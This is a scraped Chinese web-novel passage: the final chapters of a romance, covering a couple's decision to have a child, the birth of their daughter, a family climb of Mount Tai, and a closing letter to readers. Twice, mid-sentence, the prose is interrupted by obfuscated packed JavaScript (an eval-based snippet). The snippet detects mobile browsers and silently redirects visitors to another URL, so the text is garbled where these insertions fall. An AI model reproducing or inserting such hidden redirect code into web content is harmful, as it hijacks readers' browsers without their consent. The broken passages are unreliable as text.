同年,因为温让他们团队的研究成果显著,还有了自己的专利,他顺利从博士后流动站出站,进入了中科院在南城的一个国家重点实验室,他读博期间的导师也是实验室研究员之一,成为同事后,也没少给他帮助。 两人的生活渐渐步入正轨,无论再忙,他们都会给彼此预留一些时间。 决定生小孩是在两年后,他们迈过30岁的关卡,开始适应三字开头的人生路线。 高幸32岁生日那天晚上,温让带她回了江城小院,酒足饭饱,加固后的秋千悠悠晃荡,他们开始回顾这些年的变化,聊着聊着,不知道谁先提了一句,养育一个小孩要花多少钱。 他们的钱确实够了,别说一个,三个小孩也养得起。 时间呢? 忙肯定是忙的,但不至于抽不出时间来陪小朋友。他俩一致认为,小朋友得家长亲自养育,毕竟他们的父母都靠不住,保姆就更别说了。 “放心,有了小孩,我的重心肯定会偏向家庭。”温让说道,“但关键是,生育对你来说是道大关。” “我知道,我最近也在网上刷了很多贴子,我也问了身边生了小孩的朋友,大多数人都很艰难,也有少数女性怀得比较轻松。” “如果你现在有这个念头,我们就去医院做检查。” “好。” 孕前检查约到了下周一,温让请了假,两人分头开车到了医院。 这一天时间都在医院度过,温让跟高幸再次发挥了好学精神,和医生全面仔细地了解了他们现在的身体状况,以及孕期注意事项。 温让不抽烟不喝酒不熬夜,饮食规律健康,每周都会保证一定的运动量,虽然过了三十岁,他的精/子质量和活力却不输十八岁的青春小伙。 高幸的骨盆大小不适合顺产,但具体情况,还得到了预产期才能判断。 “很多女性怀胎怀不稳或者怀不上,其实跟男性的精/子质量有很大关系,不过你俩的身体条件都非常优越,应该不存在这类问题。”医生说道。 “生育的损伤很大吧?”高幸问道。 “肯定的。”医生实诚道,“我可以坦白告诉你们,生育带给女性的损伤是不可逆的,但损伤程度因人而异,保养得比较好,损伤会稍微小些,但你的骨骼在生育后都会有所变化。如果你想要跟那些女明星一样,看着生了却像没生的,那就得砸钱。” “砸钱我是没问题的,多少钱都无所谓。”温让忧心忡忡地看着高幸,“但是阿幸,身体是你自己的,你考虑清楚。” 医生也附和道,“如果你是普通家庭,想生个小孩养老,那我劝你们别考虑了,现在社会这么卷,能活到老就不错了。如果你们有钱也有责任心,纯粹喜欢小孩,也做好了生育的准备,那我觉得可以生。” “谢谢医生,我会好好考虑的。” “还有啊。”医生又补充道,“丈夫的态度和表现也很重要,你们可以为孕妇做很多事,但大多数男人都选择让孕妇独自承受孕期的一切。” 温让拿出一个小小的笔记本,翻了几页,递到医生面前。 医生一看,上面写的全是怎么照顾孕妇。 陪同每次产检;每天陪她散步聊天,缓解情绪;给她做孕期食物,不可以让她接触厨房油烟;阅读《怀孕百科》;洗护用品全部换成孕期专用;每天按时涂抹妊娠油,按摩腿部,避免浮肿;每天检查牙齿,注意妊娠牙龈炎;控制饮食,保证营养,体重不能增加太多;及时补钙;准备胎教歌单;做好血糖检查…… 一条条看完,医生忍不住感叹道:“你这功夫做得还挺到位。” “我还想请教一下您,这上面有没有疏漏?”温让问道。 “你什么时候记的这些?”高幸接过医生递来的本子。 “就在你说想生宝宝后。” “但是不要光说不做。”医生提醒道,“这些都要落实到位。” “好的。” 两天后,高幸做出了决定,她喜欢小孩,也想养育一个属于她和温让的小孩。 “想清楚了?” “嗯!我想得很清楚。” 温让拿出一张银行卡,“果果女士的孕期基金,请查收。” “你这又是什么时候……” “大概和你心有灵犀,知道你会做出这个决定,所以提前准备好了。” “你还准备什么了?” 温让又从书桌上翻出几本月子中心的简介册子,“这些是我打听后,南城最好的四家月子中心,还有两家申城的,京市的我也看了,你选一家,选好后我马上跟他们联系付定金。” 高幸下意识摸上自己的肚子,“这儿还空空的呢,怎么都把月子中心找好了。” 温让挑挑眉,“如果你准备好了,也许就在今晚。” “温老师势在必得哦?”高幸调侃他,“不愧是精/子质量不输男大的男人。” “自然不能让高老板失望。” · 仲秋时节,高秋杨出生了。 六斤六两的健康小女宝,啼声清亮,牵动着在产房外久站的父亲的心,宝宝被抱出来的时候,他的心思还在高幸身上,只匆匆看了几眼,又如一座山似的,守在产房门外。 高幸被推出产房时,温让第一时间迎了上去,女人看着还很虚弱,脸色苍白,额头上全是汗水。 “阿幸,辛苦了,你特别棒。”温让吻了吻她的额头。 “我们的宝宝,好像,有点丑……”高幸的声音带着哭腔,“但是没关系,我还是爱她。” 旁边的医护人员都在笑,“刚生下来血呼啦叽的宝宝有几个漂亮的,待会儿你们再看看。” 温让跟着他们一块儿把床推进病房,安慰道,“你长这么好看,宝宝不会丑的,你现在的首要任务是好好休息。” 等到高幸这边安抚好,确保她没什么大碍,温让才去看了看宝宝的情况。 “你们家女儿好乖啊。”护士一个劲在夸她,“眉眼长得很舒服,以后肯定是个漂亮女孩,到现在也没怎么哭闹,性情也不错。” “谢谢,我夫人怀她的时候,也说她很乖。” 高秋杨并不折腾高幸,所以高幸的孕期还算顺利,在温让坚持不懈的按摩下,妊娠纹一根没长。 前期的孕吐比较严重,温让还特意去学了一些缓解孕吐的菜式。到了后期,他专门找了老师带着高幸练习孕妇瑜伽,孕期反应也减少了许多。 在两人的共同努力下,这次的怀孕虽然也有痛苦的时候,但总体来说,是在高幸能接受的范围内。 最难熬的是在手术台上,感觉到自己的腹部被划开,拉扯感很强烈,宝宝从自己肚子里被抱出来那刻,高幸忽然觉得为人母是一件多么勇气的事。 可是以前的女性没得选择,社会等不到她们积攒足够 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344487|162607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的勇气就“逼”着她们生育,或许她们自己的心里也还不够成熟,就得养育一个小小的生命。 好在高幸现在有充足的底气去面对由她带到这个世界的新生命。 她知道,温让也是。 术后的宫缩很痛,按压肚子也很痛,痛得她眼泪和汗水不停滚落。 是温让的手在替她擦拭,是他温柔到哽咽的声音让她慢慢调整呼吸频率,缓解疼痛。 朦胧的双眼对上同样蒙上一层水雾的眼睛。 “温让……” “我在,我在这里。” 她记得上一次看见温让的泪水,是在孕吐四五次后,虚弱瘫在洗手间的时候。他来帮她清理秽物,擦拭她的脸颊和身体。 “对不起,我知道你很痛,但是我什么都做不了。” 尽管他能做的都做了,比绝大部分丈夫做的都多,但他看着高幸受苦的样子,心里的愧疚就多了几分。 “我现在觉得……我超级厉害。” 温让笑着擦去她眼角涌出来的泪,“是的,你真的特别棒。” “全天下的母亲,都是勇士。” “你也是。” “我们的女儿,取什么名字呢?” “让她姓高。” “现在是秋天,那就高秋——” “杨树的适应性强,生命力也强。” “那就叫,高秋杨。” “小名,杨杨。” · 高秋杨第一次爬泰山是在六岁。 学校里布置的暑期作业,其中一项就是写游记。 高幸和温让每年都会带她出去旅游,她根本不缺游记的素材,但这一次,她希望特别一点,于是一家人商量后,提出去爬山。 爬哪座山? 高秋杨举手道:五岳之首,泰山。 温让跟高幸惊恐对视,用眼神询问彼此:杨杨要是爬累了,谁背? 温让更惊恐了:必须我背。 高秋杨压根儿不在乎他俩的内心戏,兴致勃勃地收拾行李去了。 花屿路过高幸公司,顺便上楼找她聊会儿天,听说他们一家人要去爬泰山,也来了劲。 “正好,我家那小子也应该锻炼锻炼了。” 花屿和莫听山的儿子花舒尧跟高秋杨一个班,两人性格截然不同。 高秋杨开朗大方,花舒尧沉静内敛,闷葫芦一个,只有在高秋杨这个大小面前,他才勉强能聊上几句。 花屿常说花舒尧随了莫听山以前的装货气质。 “你确定要带尧尧去爬泰山?”高幸害怕自己连累他们。 “当然,我们两家人的体力,有差的吗?” 一个星期后,爬到半山腰,最先败下阵来的就是花屿。 眼瞅着花舒尧跟高秋杨俩小孩儿都快没影了,花屿才被莫听山搀扶着继续往上爬。 高幸也叉着腰喘气,温让牵着她的手,两人走走歇歇,感叹道:“这人快到中年,体力确实跟不上了。” “我看我体力还行啊。”莫听山露出结实的臂膀向花屿炫耀,“背你上去都不成问题。” “好啊。”花屿眼都不眨,直接往莫听山背上爬。 莫听山:“?” 高秋杨突然停下来,“我爸妈和干爹干妈呢?” “可能在休息吧。”花舒尧气息依然平和,“那等等他们?” “行吧,你累吗?” “不累。” 一生要强的高秋杨:“我也不累。” “那不等他们了。” “行,我俩接着爬。” “好。” 花舒尧看着高秋杨背后一颠一颠的小书包,问道:“要我帮你背吗?” “不用。”高秋杨用袖子抹去额头的汗,“我妈说了,女儿当自强。” 跟上他俩后,听到这句话的高幸,朝温让抛了个得意的眼神。 小小少年最先登顶,当云海与群山匍匐脚下,汗水也蒸发在山顶的清风。 他们并排着望尽群山。 “爸,妈,原来这就是‘一览众山小’。”第一次登上这么高的山,高秋杨终于明白了书本上的诗句。 温让和高幸一左一右牵着她,两人的脸上都增添了不少岁月的痕迹。 “杨杨以后还会征服更多的高山。”高幸说道。 “如果累了,休息一会儿也没关系。”温让说道。 他们同时看向满眼惊喜的小女孩。 “爸爸妈妈一直在你身后。” “所以,你尽管往前走。” 60. 致读者 各位读者朋友, 见字如晤,展信舒颜。 我们是高幸和温让,非常感激大家能读完我们的故事,这封信由我俩共同写成。 南城最近受北下的大风影响,起了少许风沙,空气质量不如往日,但好在大风刮走了层层乌云,吹来了今日的晴朗。 不知道你们那边天气怎么样?是和我们一样的晴天?还是在下雨?又或者依然经历一场狂风? 无论是怎样的天气,希望你们能平平安安地度过每一天。 时间过得好快啊,一晃四月也过半,从年初到现在,从国际到国内都发生了不少大事,我们也常常和杨杨在饭桌上聊起这些事。 现在的小孩过早接触互联网,是好事也是坏事,好处在于打破了他们的信息茧房,坏处在于一些不该被他们接触的信息也接触到了。 我们小时候没有这些花里胡哨的东西,所以觉得时间漫长,盼着长大。真的长大了,又开始怀念以前。 同一代人好像都有着共同的烦恼,比如我们这一代人,披着千禧之年的荣光成长,然后受困于当今无法用词语来形容的社会。 大人们对我们的期待总是围绕着不错的学业、稳定的工作、合适的伴侣展开,社会对我们的容错率很低,只要一步走错了,就再难活出所谓的精彩人生。 我们不知道各位读者朋友在经历怎样的生活,也许你们还在读书,在为得优得奖、人际关系烦恼,为一无所获的春招迷茫,在考研、考公、工作中纠结,这是一个既充满希望又似乎一不小心就会走向“绝望”的尴尬阶段。 也许你们已经开始备考,备考日子漫长得好像望不到头,头发大把大把地掉,失眠成了常态,去年双十一囤的褪黑素等着618补货,亲朋好友的询问成为压倒骆驼的稻草。 也许你们初入职场,摸不清领导和同事的脾性,没有其他人那么自来熟,也没法迅速跟周围的人打成一片,小心谨慎地完成每个任务,吃了亏不敢计较,一边在网络上收藏职场菜鸟成长贴,一边为自己加油打气迎接改变。 也许你们已经如鱼得水,凭着自己的努力处理掉生活中接踵而来的麻烦,正在野蛮地生长,朝气蓬勃地迈向未来。 无论你们处在哪一个人生阶段,慢慢流淌的时间总会把你们带去内心最想抵达的地方。 所以,放轻松,不要着急,也不要害怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344488|162607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 小时候的我们总希望成为了不起的大人。 但其实只要我们每一步都踏踏实实地走,认真对待生活,也认真照顾自己,就已经是件很了不起的事了。 不开心的时候就不要勉强自己做事,休息一天也没关系。 实在想哭的时候就痛痛快快地哭一场。接纳情绪,不做抵抗,让它看看谁才是身体的主人。 吃点喜欢的零食,追追喜欢的剧,在晴朗的午后,随便找个长椅坐着晒太阳。 社交平台上有太多制造焦虑的信息,不要去管。 别人的生活过得再怎么精彩,那都是别人,你有你自己的小星球。 或许时机成熟了,你会吸引来另一颗和你同频的小星球,然后创造属于你们的银河系。 如果始终只有你自己,那也没关系,日子是一个人还是两个人过都不重要,重要的是你过得开不开心。 所以,今天的你,过得开心吗? 我们在南城过得很好,未来也会携手走下去。 最后,祝你们每一天健康快乐。 高幸温让 2025年4月13日 南城晴